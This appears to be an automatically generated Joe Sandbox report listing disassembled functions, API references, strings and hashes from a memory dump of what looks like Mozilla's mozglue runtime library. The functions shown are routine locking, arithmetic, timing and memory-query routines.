EnterCriticalSection.KERNEL32(?), ref: 6C619EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C619F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C619F34
LeaveCriticalSection.KERNEL32(?), ref: 6C61A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61A8B1, 6C61A8D4, 6C61A8EF

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction ID: 98701b54d468b7fb9f09e4616f4389b0237ccceeee05bb678cba3ffd5b5e0217
Opcode Fuzzy Hash: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction Fuzzy Hash: CB727A72A097118FD304CF2DC540615FBE1BF89329F29C66DE8699BB92D335E846CB84

Function 6C659E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C659F3D
__aulldiv.LIBCMT ref: 6C659F77
__aullrem.LIBCMT ref: 6C659F8C
__aulldiv.LIBCMT ref: 6C65A023

Strings

NaN, xrefs: 6C659EAB
-Infinity, xrefs: 6C659E60, 6C659E7B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction ID: 01c5b72a193fd4e867f436d0ed1f84c38a413ea25b192cfbd855982419c59a13
Opcode Fuzzy Hash: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction Fuzzy Hash: 88C1C471E043188BDB14CF98C8507EEB7B6AF85308FA44529D405ABB81D771A94ACBA9

Function 6C5FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C5FDA88
-, xrefs: 6C5FD7DD
@, xrefs: 6C5FDAF6
8, xrefs: 6C5FDC08
1, xrefs: 6C5FDBDD
0, xrefs: 6C5FD852
0, xrefs: 6C5FDC7F
9, xrefs: 6C5FDE7F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction ID: c3e41984229f65c2e12faebc33cc77faa15620809dcb03e8495ffb1db82217d9
Opcode Fuzzy Hash: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction Fuzzy Hash: CB62AC7150D3458FD709CE29C89076EBBF2AF86358F184A1DE4F54BA91D3359886CF82

Function 6C66545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C668A4B

Strings

~q_l, xrefs: 6C665703, 6C669269, 6C6656C7, 6C665740, 6C669459, 6C66921F, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: c61bb01ac86666256532f3361b5c281806fa5165e840756b6009ada1eef9ecef
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 6FB11C72E0021ACFCB14CF69CC917D8B7B6EF85314F1402A9C949EBB91D730A985CB95

Function 6C66542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C66925C

Strings

~q_l, xrefs: 6C665703, 6C669269, 6C6656C7, 6C665740, 6C669459, 6C66921F, 6C66948F

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset
String ID: ~q_l
API String ID: 2221118986-2259707452
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5e522bed8f881c606318742a025a5d8748405c014b9871b720017804aaf6b22d
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FFB1D672E0420ACFCB14CF69CC816EDB7B6EF85314F140269C949EBB95D730A989CB95

Function 6C65C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C65C0E9), ref: 6C65C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C65C437
FreeLibrary.KERNEL32(?,6C65C0E9), ref: 6C65C44C

Strings

NtQueryVirtualMemory, xrefs: 6C65C431
ntdll.dll, xrefs: 6C65C413

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction ID: b45cf901aa6028a11bb373027968ebf37a38dbb4bc465c0330fbafb43b71e71b
Opcode Fuzzy Hash: fa5e4e6c6010e1c9bac1118438ee169e8c23ae57ac09d799f376f179277e83d2
Instruction Fuzzy Hash: 1AE09A70705321ABDB0A6BB3C988F117AF8A74A344F144915EA1591710EBB0C0118B7E

Function 6C609F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C60A625
1, xrefs: 6C60A824
0, xrefs: 6C60A100
' , xrefs: 6C60A3D8
9, xrefs: 6C60A5D6
0, xrefs: 6C60AB22

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction ID: 14adb65e53cb48a89f52f1975f288bca54ba52f16e99503cecf05c0c2a4ae62c
Opcode Fuzzy Hash: 2513582998cf96b89e4edead8b5c8e532c2a461280d6d42e7f873254009b73fc
Instruction Fuzzy Hash: 5382D431B093158BD719CF15C2402AEB7F2FB817C8F558A2DE8D567A92D3349886CB4A

Function 6C5FBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5FC1CB
__aulldiv.LIBCMT ref: 6C5FC24C
__aulldiv.LIBCMT ref: 6C5FC348
__aullrem.LIBCMT ref: 6C5FC365
__aulldiv.LIBCMT ref: 6C5FC37D

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2886bcd035435660ebb9fbcb8d55ebd45703054531a45fb79504f30c725de167
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: F2320432B046119FC718DE2CC890A5ABBE6AFC9350F09867DE4A5CB395D734ED06CB91

Function 6C6477A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C647A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C647A93

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C647AA1

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C647B31

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction ID: 09aae859e39622b360c94cad5fbf31c672e6266ce76ef8cd931cf24359b9f0d6
Opcode Fuzzy Hash: ec2d07b5fba693af8968f652a02d164fd2fb61a11ec9d3492bf0b27f97b48ed6
Instruction Fuzzy Hash: EEB16E356083818BDB14CF25C4506AFB7E2BFC5318F15CA1CE99567B91DB70E90ACB8A

Function 6C618850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C6197EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C619813, 6C61985D, 6C619878, 6C619CEB

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction ID: c14ccfab1a14d333065058ef2d803abe12eae0992fc27e899ccacf2d31286fc7
Opcode Fuzzy Hash: 77b7f9730f77ee634be504a58efe1fb9762dba501a62dcd9fbff3a72d90e5afa
Instruction Fuzzy Hash: FAD28C71A096018FD708CF1DC590755BBE1BF85329F29C76DE86A8BBA5C731E841CB88

Function 6C636CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C636D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C636E1E

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction ID: e465af25b941b9815e36e65f3dc58891aa69ffc2140c6feb096bc942eafed9ee
Opcode Fuzzy Hash: 21ac065e2af6399d9a531bea46bf638d69b587c09cb31d93ae7af24830c02963
Instruction Fuzzy Hash: F0A18D706183908FD715CF25C4807AEFBE2BF89308F54991DE88A87751DB70E849CB9A

Function 6C65B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C65B720
RtlNtStatusToDosError.NTDLL ref: 6C65B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,6C640BA4,00000000,?,0000001C,?,?,00000000,?,6C638E44,?,00000000,?,6C640BA4), ref: 6C65B760

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction ID: 284fdc6ecea63b605d4a2977d4a53bc1ea2261cf2135d9ef2ff1d292f9b93b6a
Opcode Fuzzy Hash: 212dcd2c75f6ecf7f30470558d86f74ae033669ca4a008bcd84d43e19c69f93c
Instruction Fuzzy Hash: ABF0A47090020CAEDF019AA1CC84BDEB7BC9B44319F605169D512619C0D774959CCB6D

Function 6C614640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C614777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C615585, 6C6155A8, 6C6155C3, 6C615624

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction ID: 799167270a878fbc5e272a9198eb9735479aa201f98f3617f48b43d61b007c58
Opcode Fuzzy Hash: 3019eb1f074045d422e5c6f7108d4855b5b0b6e951ed3e4fdfa4e4e0393fbbb6
Instruction Fuzzy Hash: A7B28E71A196018FC308CF1DC590725FBE2BFC5329B29C76DE4698BAA5D771E841CB88

Function 6C6585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C658C7C
__aulldiv.LIBCMT ref: 6C658DD7

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 445903b6f88341094328aafa7c693a32263cec800cabcdb5bd7cac448c739737
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 3E329371F501198BDF18CE9CC4A17AEF7B2FB88300F65813AD446BBBA0D6349D418B95

Function 6C6676E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C66793C, 6C6679C0, 6C667796, 6C667E0B, 6C6679FB, 6C667B0B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c68cd939326917318b2e2f2416a754c99da5f7847f0ac9c05d1f41511c3eb1db
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 2B321971E006198FCB14CF99C890AADFBF2FF88308F5481A9C549A7B45D731A986CF95

Function 6C666E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q_l, xrefs: 6C667C72, 6C66793C, 6C6679C0, 6C667E0B, 6C6679FB, 6C667C03, 6C667B0B

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ~q_l
API String ID: 0-2259707452
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2275d89115ff11b46aef08566ef7a0b37a6af5834acaeb189e579ac880882343
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 5B22F971E002198FCB14CF99C880AADF7F2FF89308F6485A9C549A7B45D731A986CF95

Function 6C635C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,?,?,?), ref: 6C635F06

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction ID: bd0c13d255ab7c0942cf039749476a4f3a8f4d685ab008dfe702240d4d90fabf
Opcode Fuzzy Hash: 0a6c18c0eda9e83278170eeb47a3b30de52e59dcc0d4ddd0ad836cb941bd2a1d
Instruction Fuzzy Hash: 9BC1E175D012298BCB04CF95C5906EEBBF2FF8A318F28615DC8596BB40D732A906CF94

Function 6C5FDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction ID: 9be0a039574c0c48d4d74f17fa38fd52817938d3dd947a3e4936aa0c6f0877fb
Opcode Fuzzy Hash: 52a72dcde1736b2b22b89e58fa99ddf19f90588291d648683e31c051ce2003c1
Instruction Fuzzy Hash: 8842D832A087508BD308CE3DC89075AF3E2BFC9354F154B2DE9A9A7791D774D9428B82

Function 6C620512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 4d77cd1b393ee2fcc2bab5e12bc8b7031151f049d4de9e5199cc5c47f43072ce
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 5A221775E04619CFCB14CF98C890AADF7B2FF89308F548299C54AA7705D735A986CF84

Function 6C66AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900901282.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1900873696.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901020337.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901081563.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1901104951.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
Instruction ID: 777727c9c8a38003e2f4ad1ab3f61e993e5cb4e30fe6ac8ead2a2e3a626fd543
Opcode Fuzzy Hash: afa16a0ab97fbd3d65b5f37d4a8839a450d9d39e3f621b52aba29281ed90d268
